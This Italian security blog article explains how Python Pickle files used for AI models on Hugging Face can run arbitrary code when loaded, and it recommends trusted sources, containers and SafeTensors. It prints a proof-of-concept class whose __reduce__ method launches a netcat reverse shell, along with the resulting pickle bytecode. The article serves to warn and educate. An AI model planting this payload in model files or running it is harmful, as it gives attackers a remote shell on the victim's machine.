Advertisement

Introduzione: Il Fascino Pericoloso dell’Intelligenza Artificiale

L’intelligenza artificiale (IA) è ovunque. Dai chatbot che rispondono con un’ironia quasi umana alle immagini generate che sembrano uscite da un sogno febbrile, i modelli generativi hanno conquistato il mondo della tecnologia. Ma dietro la magia di reti neurali e miliardi di parametri si nasconde un’insidia subdola, pronta a colpire chi si fida ciecamente delle meraviglie open source. Parliamo di Pickle, una libreria Python tanto utile quanto pericolosa, che può trasformare un modello AI in un cavallo di Troia digitale. In questo articolo, esploreremo come Pickle possa essere sfruttato per eseguire comandi malevoli, mettendo a rischio sistemi e reti.

L’Evoluzione dell’IA: Da Calcoli Lenti a Modelli Fulminei

Le Reti Neurali Non Sono una Novità

L’intelligenza artificiale non è nata ieri. Fin dagli albori dell’informatica, scienziati e sognatori hanno cercato di replicare il funzionamento del cervello umano attraverso algoritmi e calcoli. Le reti neurali, in particolare, esistono da decenni, ma solo di recente sono diventate protagoniste indiscusse. Il motivo? La potenza di calcolo. Simulare un cervello biologico richiede un numero spaventoso di operazioni, e le CPU tradizionali, con il loro approccio sequenziale, erano come tartarughe in una corsa contro il tempo.

L’Era delle GPU: Un Salto Quantico

Tutto è cambiato con l’avvento delle GPU. Ogni due anni, circa, una nuova generazione di schede grafiche arriva sul mercato, capace di eseguire operazioni parallele a una velocità 20 o 30 volte superiore rispetto alla precedente. Questo ha reso possibile allenare reti neurali con decine di miliardi di parametri in poche ore, invece di anni. Certo, una GPU di fascia alta può costare migliaia di euro, ma per aziende e appassionati è un investimento che vale la pena. Oggi, anche una scheda “consumer” può trasformare un garage in un laboratorio di intelligenza artificiale.

L’Open Source: Il Motore della Rivoluzione

Ma non sono solo le GPU ad aver spinto l’IA verso nuove vette. L’open source ha giocato un ruolo cruciale. Piattaforme come Hugging Face hanno democratizzato l’accesso ai modelli generativi, permettendo a sviluppatori di tutto il mondo di condividere, testare e personalizzare reti neurali. Vuoi creare un chatbot che parla come un pirata? Scarica un modello, aggiungi i tuoi dati e il gioco è fatto. Tuttavia, questa libertà ha un prezzo: la fiducia. Come su GitHub, anche su Hugging Face si può trovare di tutto, e non tutto è sicuro.

Pickle: Il Coltello a Doppio Taglio di Python

Cos’è un Modello AI, Davvero?

Per capire il pericolo di Pickle, dobbiamo prima fare un passo indietro. Un modello di intelligenza artificiale, semplificando, è un’enorme collezione di numeri, chiamati pesi, che definiscono come i neuroni di una rete sono collegati tra loro. Modificando questi pesi, si cambia il comportamento della rete. È un processo meno prevedibile rispetto a modificare una riga di codice tradizionale, ma alla fine è solo un algoritmo che gira su CPU o GPU. E, come ogni software, può essere manipolato.

Pickle: Il Serializzatore che Non Perdona

Python è il linguaggio d’elezione per l’IA, grazie alla sua semplicità e alle librerie come TensorFlow e PyTorch. Quando un modello viene salvato, i suoi pesi sono spesso serializzati in formato Pickle, un sistema binario che trasforma oggetti complessi, come array multidimensionali, in una sequenza di byte pronta per essere caricata in memoria. È un po’ come ridurre un dipinto tridimensionale a un foglio bidimensionale, ma con una differenza: Pickle non si limita a dati statici. Può serializzare intere funzioni, scrivendo istruzioni in un bytecode che viene eseguito direttamente quando il file viene deserializzato.

Ecco un esempio semplice di come Pickle serializza un array:

import pickle
pickled = pickle.dumps(['pickle', 'me', 1, 2, 3])

import pickle
pickled = pickle.dumps(['pickle', 'me', 1, 2, 3])

Il risultato è un bytecode come questo:

0: \x80 PROTO 4
2: \x95 FRAME 25
11: ] EMPTY_LIST
12: \x94 MEMOIZE (as 0)
13: ( MARK
14: \x8c SHORT_BINUNICODE 'pickle'
22: \x94 MEMOIZE (as 1)
23: \x8c SHORT_BINUNICODE 'me'
27: \x94 MEMOIZE (as 2)
28: K BININT1 1
30: K BININT1 2
32: K BININT1 3
34: e APPENDS (MARK at 13)
35: . STOP

0: \x80 PROTO 4
2: \x95 FRAME 25
11: ] EMPTY_LIST
12: \x94 MEMOIZE (as 0)
13: ( MARK
14: \x8c SHORT_BINUNICODE 'pickle'
22: \x94 MEMOIZE (as 1)
23: \x8c SHORT_BINUNICODE 'me'
27: \x94 MEMOIZE (as 2)
28: K BININT1 1
30: K BININT1 2
32: K BININT1 3
34: e APPENDS (MARK at 13)
35: . STOP

Per un piccolo array sembra overkill, ma per modelli da gigabyte, questa efficienza è cruciale. Il problema? Questo formato è così flessibile che può contenere praticamente qualsiasi cosa, incluso codice malevolo.

Il Lato Oscuro di Pickle: Shellcode e Controllo Remoto

Come Funziona l’AttaccoImmagina di scaricare un modello da Hugging Face, magari una versione personalizzata di GPT-2 per generare poesie gotiche. Lo carichi con PyTorch, tutto sembra funzionare alla perfezione, ma in background qualcosa di sinistro sta accadendo. Un malintenzionato ha inserito nel file Pickle un comando shell, pronto a essere eseguito non appena il modello viene deserializzato. Come? Con un trucco semplice ma devastante.

Ecco un esempio di codice che dimostra come sia facile inserire uno shellcode in un file Pickle:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())

Questo codice serializza una chiamata alla funzione os.system, che esegue un comando shell. Quando il file Pickle viene deserializzato, il comando viene lanciato, aprendo una shell remota che connette il sistema a un server controllato dall’attaccante. Il bytecode risultante assomiglia a questo:

0: \x80 PROTO 4
[...]
376: R REDUCE
377: q BINPUT 37
379: X BINUNICODE 'ignore'
390: q BINPUT 38
392: c GLOBAL 'posix system'
406: q BINPUT 39
408: X BINUNICODE "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f"
474: q BINPUT 40
476: \x85 TUPLE1
477: q BINPUT 41
479: R REDUCE
480: q BINPUT 42
482: u SETITEMS (MARK at 33)

0: \x80 PROTO 4
[...]
376: R REDUCE
377: q BINPUT 37
379: X BINUNICODE 'ignore'
390: q BINPUT 38
392: c GLOBAL 'posix system'
406: q BINPUT 39
408: X BINUNICODE "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f"
474: q BINPUT 40
476: \x85 TUPLE1
477: q BINPUT 41
479: R REDUCE
480: q BINPUT 42
482: u SETITEMS (MARK at 33)

La cosa spaventosa? Questo attacco può essere mascherato all’interno di un modello perfettamente funzionante. I ricercatori di Wiz hanno dimostrato che è possibile modificare un modello GPT-2 reale, aggiungendo comandi malevoli senza compromettere le sue funzionalità. L’utente non si accorge di nulla: il modello risponde alle domande, ma nel frattempo apre una backdoor.

La Diffusione del Pericolo: Perché Preoccuparsi

Un Formato Standard, un Rischio Universale

Pickle è lo standard de facto per salvare modelli in PyTorch, e PyTorch è uno dei framework più usati per l’IA. Con milioni di utenti che scaricano modelli da piattaforme come Hugging Face, il potenziale per attacchi su larga scala è enorme. Non tutti i modelli sono malevoli, ovviamente. Quelli prodotti da grandi aziende o community affidabili sono generalmente sicuri. Ma il formato binario di Pickle rende quasi impossibile scansionare i file alla ricerca di codice pericoloso, persino per i gestori di Hugging Face.

Il Rischio di una Botnet Silenziosa

I modelli generativi richiedono macchine potenti, spesso server con GPU di fascia alta. Un attaccante che riesce a distribuire un modello malevolo potrebbe ottenere il controllo di migliaia di sistemi, creando una botnet capace di minare criptovalute, lanciare attacchi DDoS o rubare dati sensibili. E tutto questo senza che l’utente sospetti nulla, perché il modello continua a funzionare come previsto.

Soluzioni: Come Proteggersi dal Pericolo

La Fiducia è Tutto

Pickle non è vulnerabile per un bug, ma per il suo stesso design. Non esiste una patch che possa risolvere il problema, perché la possibilità di eseguire codice è una caratteristica intrinseca del formato. L’unica difesa è la fiducia. Scarica modelli solo da fonti affidabili, come repository ufficiali o autori con una reputazione consolidata. Evita versioni “personalizzate” di modelli, a meno che tu non possa verificarne l’integrità.

Containerizzazione: Un Muro di Protezione

Un modo per limitare i danni è usare la containerizzazione. Caricando il modello in un container isolato, puoi restringere le sue risorse, bloccare l’accesso a internet e impedire modifiche a file sensibili. I container agiscono come una sandbox, riducendo il rischio che un modello malevolo comprometta l’intero sistema. È un po’ come tenere un pitone in una teca di vetro: anche se è velenoso, non può morderti.

SafeTensors: Il Futuro della Serializzazione Sicura

Hugging Face sta lavorando a SafeTensors, un nuovo formato di serializzazione progettato per essere sicuro per natura, senza sacrificare la velocità di Pickle. SafeTensors elimina la possibilità di eseguire codice arbitrario, offrendo una soluzione a lungo termine. Ma fino a quando non diventerà lo standard, la cautela rimane l’arma migliore.

Conclusione: Navigare con Cautela nel Mare dell’IA

L’intelligenza artificiale è un’onda che sta trasformando il mondo, ma come ogni tecnologia potente, porta con sé rischi nascosti. Pickle, con la sua flessibilità, è un esempio perfetto di come anche uno strumento innocuo possa diventare un’arma nelle mani sbagliate. La prossima volta che scarichi un modello da Hugging Face, ricorda: non è solo un file, è un software che esegue codice sul tuo sistema. Trattalo con la stessa cautela che riserveresti a un eseguibile trovato su un vecchio forum di cracking. Usa container, verifica le fonti e, se possibile, dai un’occhiata a SafeTensors. La sicurezza informatica è un gioco di equilibrio tra innovazione e paranoia: e tu, da che parte stai?

Hai esperienze con modelli AI o Pickle? Condividi le tue storie nei commenti o scrivici su Hackerlog.net! E se questo articolo ti è piaciuto, non dimenticare di condividerlo con la tua crew di hacker etici. Restate sintonizzati per altre avventure nel mondo della sicurezza informatica!